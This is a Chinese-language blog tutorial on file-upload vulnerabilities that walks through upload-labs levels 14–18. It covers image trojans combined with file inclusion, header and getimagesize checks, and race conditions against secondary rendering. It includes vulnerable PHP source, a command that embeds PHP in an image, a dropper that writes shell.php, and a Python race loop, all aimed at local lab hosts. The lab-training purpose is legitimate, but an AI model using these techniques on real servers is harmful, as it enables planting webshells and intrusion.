09_上传漏洞_文件包含&二次渲染&代码逻辑漏洞
1.认识文件包含漏洞
1.1 意义&产生原因&利用方式
【本篇博客不对文件包含展开】
正如前篇博客所述,白名单是一种极好的过滤方式,虽然php、asp代码中常常可以用00截断的方式绕过白名单过滤,但在服务器高版本的情况下,截断技术也会失效。那么这种情况下是否就没有思路进行渗透了呢?并不是,一种情况是出现了文件包含漏洞,也就是说这里上传的文件是合法的,但是其中含有恶意代码。存在文件包含漏洞漏洞前提下,合法文件可以通过某种方式作为脚本执行。当然本篇博客的内容重点不在于文件包含,安排这个板块的目的在于强调:漏洞的存在不是互斥的。因此,实战中对于漏洞的利用需要考虑“打组合拳”,渗透操作中需要考虑多种技术的组合使用。
下面浅析一下文件包含漏洞的产生原因: 程序开发人员希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,文件包含函数加载的参数没有经过严格过滤,因此用户可控:包含恶意文件,导致了执行了非预期的代码。
常见的利用方式为:配合文件上传漏洞上传后门脚本。例如,某网站采用白名单的方式进行过滤,只允许上传png、jpg、gif三种图片类型的文件,且服务器版本在apache 5.4以上,因此也无法采用00截断的方式进行白名单的绕过。但是,网站存在着文件包含漏洞,渗透工程师可以在图片中写入后门代码----图片木马,随后将图片木马上传至服务器采用文件包含函数调用图片木马,从而触发恶意代码。
1.2 制作图片马
首先写好一个脚本,并保证其在服务器上是可以执行的,以php为例:在页面中返回php信息页。
<?php phpinfo();?>
同时在同一个文件夹中,选择一个大小合适的图片作为恶意代码的载体。
该文件夹路径下打开终端运行如下命令:
copy shell.jpeg/b+shell.php/a payload.jpg
该命令含义是将shell.jpeg 图片以二进制格式与shell.php 以ascii格式合并为‘payload.jpg’文件,这样一来就能在不破坏图片的情况下将一句话木马写入图片当中
当然也可以通过16进制编辑器进行制作(过程不详述)
1.3 php中常见包含函数
-
include()当前使用该函数包含文件时,只有代码执行到include()函数时将文件包含起来,发生错误时给出一个警告,然后继续执行语句 -
include_once()功能和include()相同,区别当重复调用一个文件时,程序只调用一次 -
reguire()执行如果发生错误,函数会输出错误信息,并终止脚本的运行 -
require_once()功能与require()相同区别在于当重复调用一个文件时,程序只调用一次 -
nighcight_file(),show_source()函数对文件进行语法高亮显示,通常能看到源代码 -
readfile(),file_get_contents()函数读取一个文件,并写入输出缓冲 -
fopen(),打开一个文件或者url
假设include函数调用文件作为参数引起的包含漏洞,那么就可以通过在url中调用的方式访问该文件触发恶意代码,payload这样构造:ip地址/站点搭建文件夹/include.php?file=./文件的相对路径
1.4 upload-labs-pass14:文件包含+二进制头部检测
源码分析
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2);
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
这一关存在的一个知识点在于文件类型的检测,这段代码中,以二进制的形式读取代码的首部两字节,根据首部字节类型判断图片格式,具体见代码中注释。为什么只检测前两个字节呢?以二进制形式打开一个图片文件不难发现,前两字节中存在着一些特殊的字符,这些字符可以标明图片的类型,如下所示:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
经过过滤代码后,如果文件合法则重命名后保存到服务器,否则提示上传失败。
过关方法
-
上传一个图片木马: -
调用include函数访问文件
http://192.168.124.21/upload-labs/include.php?file=./upload/9020220621173559.jpg
1.5 upload-labs-pass15:文件包含+getimagesize()函数检测
源码分析
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
getimagesize() 函数用于获取图像相关信息,函数执行成功会返回一个记录图片信息的数组,失败则返回 FALSE 并产生一条报错信息。
如下案例:
<?php
$remote_png_url = 'http://www.runoob.com/wp-content/themes/w3cschool.cc/assets/img/logo-domain-green2.png';
$img_data = getimagesize($remote_png_url);
print_r($img_data );
?>
执行结果:
Array
(
[0] => 290 //宽度
[1] => 69 //高度
[2] => 3 //类型序号,3代表png格式
[3] => width="290" height="69" //高度和宽度
[bits] => 8 //大小为8bit
[mime] => image/png //mime类型
)
根据上述描述
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
image_type_to_extension()的参数实际上指定的是文件类型所对应的索引序号
- image_type_to_extension()
这个函数用于获取图片后缀,
string image_type_to_extension ( int $imagetype [, bool $include_dot = TRUE ] )
参数可以是一个整型数,2代表jpg,3代表png
由此$ext = image_type_to_extension($info[2]); 中最后获取到的是一个代表图片后缀的字符串
明确了以上知识后写出形式化描述
function isImage(){
定义一个白名单
获取文件信息
根据文件信息获取后缀
判断后缀是否在白名单中
}
本关中的过滤函数已经比较严谨,因此如果没有文件包含漏洞,通过上传脚本的思路很难过关。
过关方法
同pass14
1.6 upload-labs-pass16:文件包含+exif_imagetype()函数检测
源码分析
function isImage($filename){
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
读取一个图像的第一个字节并检查其签名。本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER[‘HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。这个方法预定义定义有以下常量作为返回值:
1 | IMAGETYPE_GIF |
---|
2 | IMAGETYPE_JPEG | 3 | IMAGETYPE_PNG | 4 | IMAGETYPE_SWF | 5 | IMAGETYPE_PSD | 6 | IMAGETYPE_BMP | 7 | IMAGETYPE_TIFF_II(Intel 字节顺序) | 8 | IMAGETYPE_TIFF_MM(Motorola 字节顺序) | 9 | IMAGETYPE_JPC | 10 | IMAGETYPE_JP2 | 11 | IMAGETYPE_JPX | 12 | IMAGETYPE_JB2 | 13 | IMAGETYPE_SWC | 14 | IMAGETYPE_IFF | 15 | IMAGETYPE_WBMP | 16 | IMAGETYPE_XBM |
根据这些返回值可以编写程序用于过滤非法文件后缀。
同样,这样的过滤方式也比较严谨,在高版本apache服务器下,不配合文件包含漏洞也比较难以过关
过关方法
同pass14
2. 文件上传之二次渲染&逻辑漏洞
2.1 产生原因&利用思路
条件竞争
网络上关于二次渲染的解释有很多,但究其根本,二次渲染产生漏洞的根本原因是开发代码逻辑中存在问题。很多情况下,开发人员会定义一个变量用于暂时存放文件,之后再对这个暂时文件进行后续操作。也就是说,在正式文件产生前,用户上传的文件已经以暂时文件的形式存在于服务器之中,而往往暂时文件在很短时间内就会被更改进行再次渲染成为正式文件,所以开发者会忽略上传暂时文件时的过滤,漏洞就此产生。
在继续介绍漏洞利用思路前,需要简要介绍一下条件竞争:文件被一个进程占用时,如果不释放,那么下一个进程就无法占用该文件。举个最简单的例子,当你打开文本文件A时,如果想要删除A就必须先关闭文本阅读器,否则就会收到类似的系统提示:“该文件正在被占用,请关闭后重试”。
继续回到这个漏洞的探讨,先前的讨论中,我们可以了解到:在正式文件生成前,服务器上已经存在了暂时文件,而正式文件仅仅是服务器执行代码对暂时文件进行操作后的产物。那么试想,如果在渲染成正式文件之前,我们已经打开了这个暂时文件会发生什么?答案一目了然,由于我们在渲染前就打开了暂时文件,后续文件的渲染就无法进行。这样一来,利用思路就相当明确了:如果这个暂时文件包含脚本代码,二次渲染会导致脚本代码无法执行,那么我们就在其被渲染前执行它。但是随之而来的问题是,上传后暂时文件的存在时间极为短暂,想要在其被渲染前就执行似乎成为了一个概率事件。对于这个问题,实际操i作中我们可以利用burp的intruder自动化模块进行配置:具体思路就是大量发送文件上传数据包,在此期间我们不断通过浏览器访问临时文件,直到访问成功;当然也能利用python编写脚本,不断访问该路径,与此同时利用repeater模块不断的重放数据包,直到访问成功。
渲染后可执行
当存在文件包含漏洞时,可以考虑更高明的图片马制作方法。重新渲染过后,尤其是PNG、JPG格式的图片,其编码和渲染前变化较大,很可能会造成先前写入的脚本无法执行,而GIF格式的图片相对而言采用传统方式制作图片码成功率相对会高。应对渲染后不可执行的情况,需要我们利用一些后门制作工具制作后门以达到通关目的。
2.2 upload-labs-pass17:条件竞争 repeater过关
源码分析
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefromjpeg($target_path);
... ...
这段代码中的过滤已经写的相当严谨了,唯一的问题在于多次出现类似上述写法的操作;分析代码可知,服务器先接收一个临时文件,随后用这个临时文件生成新的图片;显然,在新的文件生成之前,临时文件是会存在一段时间的,因此可以尝试利用条件竞争思想触发第一次上传的图片木马。
本靶场中存在包含漏洞,那么就能考虑利用工具制作图片木马,解决图片木马在渲染后不能执行的问题
过关方法
Step 0:将下列代码写入图片文件:
其含义是,脚本一旦触发成功就会在路径下创建一个shell.php脚本,内容是显示php信息,写入方法见1.2
<?php file_put_contents('./upload/shell.php','<?php phpinfo();?>');?>
Step 1:选择图片马上传,抓包发送到repeater模块
Step2:编写脚本,用于不断访问该木马位置(位置的获取需要先上传一个合法文件,通过分析数据包来进行)
python代码如下:
import requests
url1 = 'http://127.0.0.1/upload-labs/include.php?file=./upload/payload.jpg'
while True:
html = requests.get(url1)
运行python脚本与此同时不断用repeater模块重放请求,重放一定次数后访问,出现预设效果说明成功
http://127.0.0.1/upload-labs/upload/shell.php
2.3 upload-labs-pass18 : 条件竞争 intruder过关
源码分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
问题也很明显,上传临时文件时,没有过滤。在进行重命名检测的时候,脚本文件已经存在,同上一关:利用条件竞争进行渗透
过关方法
利用burp的intruder模块多线程发包,不断在浏览器中访问即可
上传一个脚本shell(2).php,内容为<?php phpinfo();?>
抓包发送至intruder
修改设置
浏览器中不断访问http://127.0.0.1/upload-labs/upload/shell(2).php即可
未完待续🍉
|